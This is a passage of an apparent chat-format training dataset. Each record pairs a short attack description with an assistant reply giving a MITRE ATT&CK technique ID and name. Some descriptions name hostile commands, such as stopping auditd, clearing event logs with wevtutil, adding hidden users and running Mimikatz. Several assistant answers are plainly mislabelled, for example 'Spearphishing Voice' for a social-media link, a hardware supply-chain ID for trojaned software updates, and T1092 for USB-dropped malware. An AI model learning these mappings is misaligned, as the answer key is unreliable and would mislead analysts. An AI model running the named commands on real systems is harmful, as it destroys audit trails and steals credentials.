                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a custom protocol that wrapped command data within legitimate database queries, tunneling activity through the DB server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a custom Outlook add‑in that is installed via Group Policy, ensuring the malicious component is executed whenever Outlook is launched."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion chain includes a step where a .vbs file is executed to extract browser cookies and upload them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scans public web resources by searching for the victim’s brand and domain to uncover hidden pages and employee information."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker writes a new value in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System to hide hidden files from Explorer."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised the build pipeline of a software vendor, inserting a trojan into the compiled binaries that were later distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment contained a macro that triggered an exploit for a zero‑day in Microsoft Office, allowing the attacker to run arbitrary commands and drop additional malware."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator used 'service auditd stop' and edited /etc/systemd/system/auditd.service to prevent it from restarting."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails target the finance department, prompting staff to click a link that installs a trojan which captures and modifies wire transfer instructions."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A simulated breach used the 'secedit' utility to import a custom security template that relaxes domain password history requirements."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers changed the name of a custom backdoor to \"lsass.exe\" to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Authentication Packages list in the registry to load a custom credential validator each boot."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary adds their executable to the startup folder to achieve persistence and automatically run with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access via SQL injection, the adversary placed a malicious JavaScript-based web shell in the web root directory to maintain control over the server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Net-NTLMv2 hash from the registry and reuses it to execute commands on a target host via WMI."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages PowerShell to edit the domain's Kerberos policy, allowing pass-the-ticket attacks."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign directs victims to execute a script that silently adds a malicious root certificate to the Windows certificate repository, enabling persistent HTTPS spoofing."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor extracts the process list via 'ps -eo pid,comm' to identify potential escalation paths."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the permissions on the service registry entries, the attacker injects a rogue executable that runs with SYSTEM privileges during service launch."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the Preferences plist located at /var/root/Library/Preferences/com.apple.loginwindow.plist to enable root auto‑login."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor gathers information about the victim's business units, including department names and key personnel, using open-source reporting tools."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a VBA macro in a shared Excel template that executes whenever a new workbook is created from that template."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses msbuild.exe with the /p:Configuration=Release flag to run a stealthy script that creates a new scheduled task on the host."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script automates MSBuild to load a rogue .props file, which registers a scheduled task to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use legitimate software deployment tools like SCCM to push malicious payloads to endpoints."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a .docx with a hidden VBA script that queries the Office version registry keys as a reconnaissance step."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor edits a shared PDF on a collaboration platform, inserting a hidden payload that executes when viewed."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing link leads the victim to a page that runs script to steal cookies and send them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi-stage malware uses a chain of proxy servers, first an internal compromised host, then an external VPN, to obscure its command-and-control communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor was delivered by embedding encrypted payloads in the comment fields of HTML files, a form of steganography."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a hidden window using the WinAPI CreateWindowEx with the WS_EX_TOOLWINDOW flag to conceal its malicious activity from the user."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains a Google Workspace service account token and calls the Directory API to enumerate all Google Groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a BITS job that runs a malicious executable with elevated privileges via the /RunAsSystem flag."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits the security group settings of a cloud compute instance to allow inbound traffic on previously blocked ports, enabling persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑crime campaign distributes a trojan via USB flash drives left in parking lots, which activates upon insertion into a computer."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool encrypts all communications with the attacker's public key, forming an encrypted channel."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised third‑party SaaS platform to stage data for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the msiexec command line to perform system binary proxy execution, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit trust in update mechanisms by trojaning official software updates with malicious code"
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a batch file that runs \"wevtutil.exe cl Application\" to wipe the application log."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new Windows service that automatically runs a malicious batch file whenever the system starts, effectively executing commands indirectly."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors locate and exfiltrate email messages stored in the local Exchange cache on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a malicious COM object that resides solely in memory, activated by a crafted Office document, thereby eliminating any need for a stored file."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a symbolic link that redirects a legitimate system executable to a payload, facilitating execution."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the token's ParentPID to match a high‑privilege process, effectively performing T1134.004."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised external service account to access internal resources through API calls."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a PowerShell script that calls DCSync to gather Active Directory credential hashes from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers replace the UEFI boot manager with a trojanized version that injects malicious code during the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes adding a custom script to the LoginHook registry location, allowing the attacker to execute code on every login."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant incorporates a domain generation algorithm that combines the victim’s username with a random nonce to generate unique domains for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages process hollowing to execute arbitrary code under the context of a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies an existing systemd unit by adding an ExecStart line that runs a backdoor script on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits misconfigured serverless API Gateway allowing unauthorized execution of functions."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the ‘net user /add’ command with a name surrounded by invisible Unicode characters to conceal the account from standard OS utilities."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool leverages the cloud provider's API to revert a compromised VM back to its baseline image."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages the 'Invoke-Mimikatz' script to dump cached domain credentials from the Local Security Authority."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the shared cache, the adversary causes a signed macOS application to load a tampered .dylib, enabling persistence and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries capture a user's Kerberos ticket-granting ticket (TGT) from memory and reuse it to access network resources."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder deploys a rogue domain controller to take advantage of unsecured LDAP communications, extracting user objects and passwords."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised software update includes a backdoored installer that runs silently during the update process, achieving event-triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing VBA stomping, the attacker modifies the macro code of a trusted Office document, removing original functionality and embedding a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Service Control Manager to start a malicious executable as a service without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cybercriminal uses the cloud provider's API to revert a virtual machine to a prior snapshot, wiping forensic logs."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers collect and examine the target’s public financial statements and revenue reports to identify patterns in business activity and peak periods."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan monitors the CPU idle time and only runs when usage spikes, suggesting interactive user activity."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a high‑volume HTTP GET flood against a web application, overwhelming the server’s processing threads and causing a denial‑of‑service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker logs in using the vendor‑supplied default administrator password on a newly installed router."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Red Team uses rundll32.exe to run a custom DLL that establishes persistence via a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the system's BIOS firmware with a malicious version to gain persistent control before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor pulls the list of installed printers to infer document printing activity."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan rewrites the configuration data of a service while it is executing, effectively changing its operation at runtime."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware modifies the Linux initramfs image to execute its payload during system start."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages WMI to run a payload stored in an encrypted string variable, never writing the executable to the filesystem."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious hyperlink in a social media message that leads to a credential harvesting site."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sent crafted HTTP requests to Confluence's /rest/api/search endpoint to gather credential data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
